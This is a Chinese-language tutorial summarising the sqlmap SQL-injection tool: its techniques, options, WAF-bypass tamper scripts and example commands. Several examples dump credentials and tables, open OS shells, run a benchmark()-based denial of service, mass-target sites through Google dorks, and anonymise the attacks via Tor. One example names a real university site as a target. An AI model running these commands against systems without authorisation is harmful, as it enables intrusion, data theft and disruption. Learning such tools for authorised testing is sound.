sqlmap总结

转自：http://www.zerokeeper.com/web-security/sqlmap-usage-summary.html

0x01 需要了解

当给 sqlmap 这么一个 url 的时候，它会：
1、判断可注入的参数

2、判断可以用那种 SQL 注入技术来注入

3、识别出哪种数据库

4、根据用户选择，读取哪些数据

sqlmap 支持五种不同的注入模式：
1、基于布尔的盲注，即可以根据返回页面判断条件真假的注入。

2、基于时间的盲注，即不能根据页面返回内容判断任何信息，用条件语句查看时间延迟语句是否执行（即页面返回时间是否增加）来判断。

3、基于报错注入，即页面会返回错误信息，或者把注入的语句的结果直接返回在页面中。

4、联合查询注入，可以使用 union 的情况下的注入。

5、堆查询注入，可以同时执行多条语句的执行时的注入。

sqlmap 支持的数据库有：

MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase 和 SAP MaxDB

0x02 安装

1. git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev

0x03 Options(选项)：

–version 显示程序的版本号并退出
-h, –help 显示此帮助消息并退出
-v VERBOSE 详细级别：0-6（默认为 1）

Target(目标)：
以下至少需要设置其中一个选项，设置目标 URL。
-d DIRECT 直接连接到数据库。
-u URL, –url=URL 目标 URL。
-l LIST 从 Burp 或 WebScarab 代理的日志中解析目标。
-r REQUESTFILE 从一个文件中载入 HTTP 请求。
-g GOOGLEDORK 处理 Google dork 的结果作为目标 URL。
-c CONFIGFILE 从 INI 配置文件中加载选项。

Request（请求）：:
这些选项可以用来指定如何连接到目标 URL。
–data=DATA 通过 POST 发送的数据字符串
–cookie=COOKIE HTTP Cookie 头
–cookie-urlencode URL 编码生成的 cookie 注入
–drop-set-cookie 忽略响应的 Set –Cookie 头信息
–user-agent=AGENT 指定 HTTP User –Agent 头
–random-agent 使用随机选定的 HTTP User-Agent 头
–referer=REFERER 指定 HTTP Referer 头
–headers=HEADERS 换行分开，加入其他的 HTTP 头
–auth-type=ATYPE HTTP 身份验证类型（基本，摘要或 NTLM）(Basic, Digest or NTLM)
–auth-cred=ACRED HTTP 身份验证凭据（用户名: 密码）
–auth-cert=ACERT HTTP 认证证书（key_file，cert_file）
–proxy=PROXY 使用 HTTP 代理连接到目标 URL
–proxy-cred=PCRED HTTP 代理身份验证凭据（用户名：密码）
–ignore-proxy 忽略系统默认的 HTTP 代理
–delay=DELAY 在每个 HTTP 请求之间的延迟时间，单位为秒
–timeout=TIMEOUT 等待连接超时的时间（默认为 30 秒）
–retries=RETRIES 连接超时后重新连接的时间（默认 3）
–scope=SCOPE 从所提供的代理日志中过滤器目标的正则表达式
–safe-url=SAFURL 在测试过程中经常访问的 url 地址
–safe-freq=SAFREQ 两次访问之间测试请求，给出安全的 URL

Optimization（优化）：
这些选项可用于优化 sqlmap.py 的性能。
-o 开启所有优化开关
–predict-output 预测常见的查询输出
–keep-alive 使用持久的 HTTP(S) 连接
–null-connection 从没有实际的 HTTP 响应体中检索页面长度
–threads=THREADS 最大的 HTTP(S) 请求并发量（默认为 1）

Injection（注入）：
这些选项可以用来指定测试哪些参数，提供自定义的注入 payloads 和可选篡改脚本。
-p TESTPARAMETER 可测试的参数
–dbms=DBMS 强制后端的 DBMS 为此值
–os=OS 强制后端的 DBMS 操作系统为这个值
–prefix=PREFIX 注入 payload 字符串前缀
–suffix=SUFFIX 注入 payload 字符串后缀
–tamper=TAMPER 使用给定的脚本篡改注入数据
–tamper 通过编码绕过 WEB 防火墙（WAF）sqlmap.py 默认用 char()
–tamper 插件所在目录 \ sqlmap-dev\tamper

1. apostrophemask.py 用 UTF-8 全角字符替换单引号字符
2. apostrophenullencode.py 用非法双字节 unicode 字符替换单引号字符
3. appendnullbyte.py 在 payload 末尾添加空字符编码
4. base64encode.py 对给定的 payload 全部字符使用 Base64 编码
5. between.py 分别用 “NOT BETWEEN 0 AND #” 替换大于号 “>”，“BETWEEN # AND #” 替换等于号“=”
6. bluecoat.py 在 SQL 语句之后用有效的随机空白符替换空格符，随后用 “LIKE” 替换等于号“=”
7. chardoubleencode.py 对给定的 payload 全部字符使用双重 URL 编码（不处理已经编码的字符）
8. charencode.py 对给定的 payload 全部字符使用 URL 编码（不处理已经编码的字符）
9. charunicodeencode.py 对给定的 payload 的非编码字符使用 Unicode URL 编码（不处理已经编码的字符）
10. concat2concatws.py 用 “CONCAT_WS(MID(CHAR(0), 0, 0), A, B)” 替换像 “CONCAT(A, B)” 的实例
11. equaltolike.py 用 “LIKE” 运算符替换全部等于号“=”
12. greatest.py 用 “GREATEST” 函数替换大于号“>”
13. halfversionedmorekeywords.py 在每个关键字之前添加 MySQL 注释
14. ifnull2ifisnull.py 用 “IF(ISNULL(A), B, A)” 替换像 “IFNULL(A, B)” 的实例
15. lowercase.py 用小写值替换每个关键字字符
16. modsecurityversioned.py 用注释包围完整的查询
17. modsecurityzeroversioned.py 用当中带有数字零的注释包围完整的查询
18. multiplespaces.py 在 SQL 关键字周围添加多个空格
19. nonrecursivereplacement.py 用 representations 替换预定义 SQL 关键字，适用于过滤器
20. overlongutf8.py 转换给定的 payload 当中的所有字符
21. percentage.py 在每个字符之前添加一个百分号
22. randomcase.py 随机转换每个关键字字符的大小写
23. randomcomments.py 向 SQL 关键字中插入随机注释
24. securesphere.py 添加经过特殊构造的字符串
25. sp_password.py 向 payload 末尾添加 “sp_password” for automatic obfuscation from DBMS logs
26. space2comment.py 用 “/**/” 替换空格符
27. space2dash.py 用破折号注释符 “--” 其次是一个随机字符串和一个换行符替换空格符
28. space2hash.py 用磅注释符 “#” 其次是一个随机字符串和一个换行符替换空格符
29. space2morehash.py 用磅注释符 “#” 其次是一个随机字符串和一个换行符替换空格符
30. space2mssqlblank.py 用一组有效的备选字符集当中的随机空白符替换空格符
31. space2mssqlhash.py 用磅注释符 “#” 其次是一个换行符替换空格符
32. space2mysqlblank.py 用一组有效的备选字符集当中的随机空白符替换空格符
33. space2mysqldash.py 用破折号注释符 “--” 其次是一个换行符替换空格符
34. space2plus.py 用加号 “+” 替换空格符
35. space2randomblank.py 用一组有效的备选字符集当中的随机空白符替换空格符
36. unionalltounion.py 用 “UNION SELECT” 替换“UNION ALL SELECT”
37. unmagicquotes.py 用一个多字节组合 %bf%27 和末尾通用注释一起替换空格符
38. varnish.py 添加一个 HTTP 头 “X-originating-IP” 来绕过 WAF
39. versionedkeywords.py 用 MySQL 注释包围每个非函数关键字
40. versionedmorekeywords.py 用 MySQL 注释包围每个关键字
41. xforwardedfor.py 添加一个伪造的 HTTP 头 “X-Forwarded-For” 来绕过 WAF

Detection（检测）：
这些选项可以用来指定在 SQL 盲注时如何解析和比较 HTTP 响应页面的内容。
–level=LEVEL 执行测试的等级（1-5，默认为 1）
–risk=RISK 执行测试的风险（0-3，默认为 1）
–string=STRING 查询有效时在页面匹配字符串
–regexp=REGEXP 查询有效时在页面匹配正则表达式
–text-only 仅基于文本内容比较网页

这些选项可用于调整具体的 SQL 注入测试。
–technique=TECH SQL 注入技术测试（默认 BEUST）
Techniques（技巧）：
–technique /* 测试指定注入类型 \ 使用的技术
不加参数默认测试所有注入技术：
B: 基于布尔的 SQL 盲注
E: 基于显错 sql 注入
U: 基于 UNION 注入
S: 叠层 sql 注入
T: 基于时间盲注

–time-sec=TIMESEC DBMS 响应的延迟时间（默认为 5 秒）
–union-cols=UCOLS 定列范围用于测试 UNION 查询注入
–union-char=UCHAR 用于暴力猜解列数的字符

Fingerprint（指纹）：
-f, –fingerprint 执行检查广泛的 DBMS 版本指纹

Enumeration（枚举）：
这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外，您还可以运行您自己的 SQL 语句。
-b, –banner 检索数据库管理系统的标识
–current-user 检索数据库管理系统当前用户
–current-db 检索数据库管理系统当前数据库
–is-dba 检测 DBMS 当前用户是否 DBA
–users 枚举数据库管理系统用户
–passwords 枚举数据库管理系统用户密码哈希
–privileges 枚举数据库管理系统用户的权限
–roles 枚举数据库管理系统用户的角色
–dbs 枚举数据库管理系统数据库
–tables 枚举 DBMS 数据库中的表
–columns 枚举 DBMS 数据库表列
–dump 转储数据库管理系统的数据库中的表项
–dump-all 转储所有的 DBMS 数据库表中的条目
–search 搜索列，表和 / 或数据库名称
-D DB 要进行枚举的数据库名
-T TBL 要进行枚举的数据库表
-C COL 要进行枚举的数据库列
-U USER 用来进行枚举的数据库用户
–exclude-sysdbs 枚举表时排除系统数据库
–start=LIMITSTART 第一个查询输出进入检索
–stop=LIMITSTOP 最后查询的输出进入检索
–first=FIRSTCHAR 第一个查询输出字的字符检索
–last=LASTCHAR 最后查询的输出字字符检索
–sql-query=QUERY 要执行的 SQL 语句
–sql-shell 提示交互式 SQL 的 shell

Brute force(蛮力):
这些选项可以被用来运行蛮力检查。
–common-tables 检查存在共同表
–common-columns 检查存在共同列

User-defined function injection（用户自定义函数注入）：
这些选项可以用来创建用户自定义函数。
–udf-inject 注入用户自定义函数
–shared-lib=SHLIB 共享库的本地路径

File system access（访问文件系统）：
这些选项可以被用来访问后端数据库管理系统的底层文件系统。
–file-read=RFILE 从后端的数据库管理系统文件系统读取文件
–file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件
–file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径

Operating system access（操作系统访问）：
这些选项可以用于访问后端数据库管理系统的底层操作系统。
–os-cmd=OSCMD 执行操作系统命令
–os-shell 交互式的操作系统的 shell
–os-pwn 获取一个 OOB shell，meterpreter 或 VNC
–os-smbrelay 一键获取一个 OOB shell，meterpreter 或 VNC
–os-bof 存储过程缓冲区溢出利用
–priv-esc 数据库进程用户权限提升
–msf-path=MSFPATH Metasploit Framework 本地的安装路径
–tmp-path=TMPPATH 远程临时文件目录的绝对路径

Windows 注册表访问：
这些选项可以被用来访问后端数据库管理系统 Windows 注册表。
–reg-read 读一个 Windows 注册表项值
–reg-add 写一个 Windows 注册表项值数据
–reg-del 删除 Windows 注册表键值
–reg-key=REGKEY Windows 注册表键
–reg-value=REGVAL Windows 注册表项值
–reg-data=REGDATA Windows 注册表键值数据
–reg-type=REGTYPE Windows 注册表项值类型

General（一般）：
这些选项可以用来设置一些一般的工作参数。
-t TRAFFICFILE 记录所有 HTTP 流量到一个文本文件中
-s SESSIONFILE 保存和恢复检索会话文件的所有数据
–flush-session 刷新当前目标的会话文件
–fresh-queries 忽略在会话文件中存储的查询结果
–eta 显示每个输出的预计到达时间
–update 更新 SqlMap
–save file 保存选项到 INI 配置文件
–batch 从不询问用户输入，使用所有默认配置。

Miscellaneous（杂项）：
–beep 发现 SQL 注入时提醒
–check-payload IDS 对注入 payloads 的检测测试
–cleanup sqlmap.py 具体的 UDF 和表清理 DBMS
–forms 对目标 URL 的解析和测试形式
–gpage=GOOGLEPAGE 从指定的页码使用谷歌 dork 结果
–page-rank Google dork 结果显示网页排名（PR）
–parse-errors 从响应页面解析数据库管理系统的错误消息
–replicate 复制转储的数据到一个 sqlite3 数据库
–tor 使用默认的 Tor（Vidalia/ Privoxy/ Polipo）代理地址
–wizard 给初级用户的简单向导界面

0x04 基本用法

./sqlmap.py sqlmap -u "http://www.xxx.com" // 查是否有注入，一些基本信息

./sqlmap.py -u "http://www.xxx.com" --dbs // 枚举数据库

./sqlmap.py sqlmap -u "http://www.xxx.com" --tables // 表名枚举

./sqlmap.py sqlmap -u "http://www.xxx.com" --columns -T 数据库表名 // 字段枚举

./sqlmap.py sqlmap -u "http://www.xxx.com" --dump -T 数据库表名 -C "字段 1，字段 2，字段 3" //dump

./sqlmap.py -u "http://www.xxx.com" --dump -D 数据库名 -T 表名 -C "字段名 1，字段名 2，字段名 3" //dump

读取数据库—> 读取表—-> 读取表的列—-> 获取内容

0x05 一、初级用法

sqlmap.py -u “http://url/news?id=1” –dbs / 查询是什么数据库
sqlmap.py -u “http://url/news?id=1” –current-db / 获取当前数据库名称
sqlmap.py -u “http://url/news?id=1” –current-user / 获取当前用户名称
sqlmap.py -u “http://url/news?id=1” -D DataName –tables / 获取 DataName 数据库的表
sqlmap.py -u “http://url/news?id=1” –columns -T “tablename” users-D “db_name” -v 0 /* 列字段

sqlmap.py -u “http://url/news?id=1” -D DataName –T TableNamen –C “admin,password” –dump -v 0 / 获取字段数据
sqlmap.py -u “http://url/news?id=1” –dbms “Mysql” / 指定数据库类型
sqlmap.py -u “http://url/news?id=1” –users / 列数据库用户
sqlmap.py -u “http://url/news?id=1” –passwords / 获取数据库用户密码
sqlmap.py -u “http://url/news?id=1” –passwords -U root -v 0 / 列出指定用户数据库密码
sqlmap.py -u “http://url/news?id=1” –dump -C “password,user,id” -T “tablename” -D “db_name” –start 1 –stop 20 / 列出指定字段，列出 20 条
sqlmap.py -u “http://url/news?id=1” –dump-all -v 0 / 列出所有数据库所有表
sqlmap.py -u “http://url/news?id=1” –privileges / 查看权限
sqlmap.py -u “http://url/news?id=1” –privileges -U root / 查看指定用户权限
sqlmap.py -u “http://url/news?id=1” –is-dba -v 1 / 是否是数据库管理员
sqlmap.py -u “http://url/news?id=1” –roles / 枚举数据库用户角色
sqlmap.py -u “http://url/news?id=1” –udf-inject / 导入用户自定义函数（获取 系统权限！）
sqlmap.py -u “http://url/news?id=1” –dump-all –exclude-sysdbs -v 0 / 列出当前库所有表
sqlmap.py -u “http://url/news?id=1” –union-cols /union 查询表记录
sqlmap.py -u “http://url/news?id=1” –cookie “COOKIE_VALUE” /cookie 注入
sqlmap.py -u “http://url/news?id=1” -b(–banner) / 获取 banner 信息
sqlmap.py -u “http://url/news?id=1” –data “id=3” /post 注入
sqlmap.py -u “http://url/news?id=1” -v 1 -f / 指纹判别数据库类型
sqlmap.py -u “http://url/news?id=1” –proxy “http://127.0.0.1:8118” / 代理注入
sqlmap.py -u “http://url/news?id=1” –string “STRING_ON_TRUE_PAGE” / 指定关键词
sqlmap.py -u “http://url/news?id=1” –sql-shell / 执行指定 sql 命令
sqlmap.py -u “http://url/news?id=1” –file /etc/passwd
sqlmap.py -u “http://url/news?id=1” –os-cmd=whoami / 执行系统命令
sqlmap.py -u “http://url/news?id=1” –os-shell / 系统交互 shell
sqlmap.py -u “http://url/news?id=1” –os-pwn / 反弹 shell
sqlmap.py -u “http://url/news?id=1” –reg-read / 读取 win 系统注册表
sqlmap.py -u “http://url/news?id=1” –dbs-o “sqlmap.log”/ 保存进度
sqlmap.py -u “http://url/news?id=1” –dbs -o “sqlmap.log” –resume /* 恢复 已保存进度

0x06 二、高级用法

利用 cookies

1--level 2 枚举强度
2--cookie "id=9"
在 ASP 中, request 对象获取客户端提交数据常用的是 get 和 post 两种方式, 同时 request 对象可以不通过集合来获得数据, 即直接使用”request(“name”)”. 但它效率低下, 容易出错, 当我们省略具体的集合名称时, asp 是按 QueryString(get),Form(post),Cookie,Severvariable, 集合的顺序来搜索的. cookie 是保存在客户端的一个文本文件, 可以进行修改, 这样一来, 就可以利用 Request.cookie 方式来提交变量的值, 从而利用系统的漏洞进行注入攻击

表单

表单枚举
./sqlmap.py -u "http://www.xxx.com" --forms

指定表单数据
./sqlmap.py -u "http://www.xxx.com" --data "tfUName=1&UPass=1"

burpsuite 抓包与构造 request 请求

./sqlmap.py -r search_test.py -p tfUPass

交互式 shell

1. ./sqlmap.py -u "http://www.xxx.com" --os-cmd "ipconfig"
3. ./sqlmap.py -u "http://www.xxx.com" --os-shell
5. ./sqlmap.py -u "http://www.xxx.com"--os-pwn
7. ./sqlmap.py -u "http://www.xxx.com"--sql-shell

php 提供上传页面, 使用 shell 可提权。

伪静态注入

"http://sfl.fzu.edu.cn/index.php/Index/view/id/40.html"

./sqlmap.py -u "http://sfl.fzu.edu.cn/index.php/Index/view/id/40*.html"

google hacking

-p name / 多个参数如 index.php?n_id=1&name=2&data=2020 我们想指定 name 参数进行注入
sqlmap.py -g “site:xxxxx.com inurl:php?id=” –dump-all –batch /google 搜索注入点自动跑出所有字段，需保证 google.com 能正常访问

DoS Attack

在 sql shell 中执行

使用特定 sql 导致数据库报错停止运行

select benchmark(99999999999,0x70726f62616e646f70726f62616e646f70726f62616e646f)

WAF bypass

--batch Never ask for user input, use the default behaviour
--tamper=TAMPER Use given script(s) for tampering injection data
常见 encoder: space2hash.py, space2morehash.py, base64encode.py, charencode.py

示例

./sqlmap.py -u "http://www.xxx.com" -v 3 --dbs --batch --tamper "space2hash.py"

权限查看

--privileges Enumerate DBMS users privileges
示例

./sqlmap.py -u "http://www.xxx.com" --privileges

Tor 与跳板

Tor
安装 Tor 服务

sudo apt-get install -y tor

启动 Tor 服务

sudo service tor start
下面的命令将运行 SQLMap 用一些基本的设置使用 Tor 继续攻击者匿名, 也完全自动化的选择可能脆弱的网站, 使其在谷歌上搜索他们。

从一个终端攻击者将执行下列 (记住, 这只是向您显示攻击者是多么容易, 您可能不希望运行此):

./sqlmap.py --tor --tor-type=SOCKS5 -g "inurl:.php?id=1" --random-agent --dump-all --batch
--time-sec=15
Script Breakdown
--tor
使用 Tor 网络当连接到目标网站攻击

--tor-type=SOCKS5
在 SOCKS5 协议使用 Tor，比默认 Tor 匿名类型 HTTP 代理更好用。

智能 level 执行测试等级

sqlmap.py -u “http://www.2cto.com /news?id=1” –smart –level 3 –users /*smart 智能 level 执行测试等级

攻击实例:

1. sqlmap.py -u “http://url/news?id=1&Submit=Submit” –cookie=”PHPSESSID=41aa833e6d0d28f489ff1ab5a7531406″ –string=”Surname” –dbms=mysql –user –password

0x07 参考资料

1. sqlmap 笔记
2. SQLmap 用户手册
3. 神器 SQLMAP 命令炸翻太平洋
4. http://www.moonsec.com/post-638.html